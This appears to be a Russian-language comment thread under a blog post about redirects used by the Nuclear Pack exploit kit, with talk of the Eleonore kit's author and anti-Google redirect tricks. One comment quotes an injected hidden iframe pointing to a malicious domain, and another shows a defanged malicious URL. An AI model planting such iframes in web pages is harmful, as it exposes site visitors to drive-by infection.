Умные редиректы на Nuclear Pack

[ka8725]

hxxp://onj42a.qpoctushpm.is-an-actor.com/g/ на самом деле странный домен. hxxp — что за протокол такой?

[killxp]

Боже :D hxxp => http автор скрыл, чтобы дебилы не кликали)

[impass]

Автора Eleonore ещё не поймали? Мне как-то удалось даже предположительно его айпишник узнать через логи одного сайта, где он имел несторожность зарегиться в открытую.

[ubl]

Круто, ведь разрабы одного из топовых эксплоит паков, полюбому ходят на непонятные сайты с реальным ip.

[impass]

Ты, я смотрю, знаток большой… :))
Человеческий фактор никто никогда не отменял. Можно, конечно, фапать на тройные VPN'ы, но попасться совершенно на другом.

[abrwalk]

Кажется дорвейщики еще в 2007-х годах начали использовать JS события для защиты редиректа от Гугла.

[Aecktann]

Только что пронаблюдал такую же вещь на одном из сайтов:

<div class=​"kzur45">​<div class="kzur45"><iframe src="http://nod32-matrosov-pideri.org/index.php?ddd8736bde29ca299908946b84eb1326"></iframe></div>

Особенно домен доставил.

[matrosov]

хе хе, видимо в точку постом попали ;)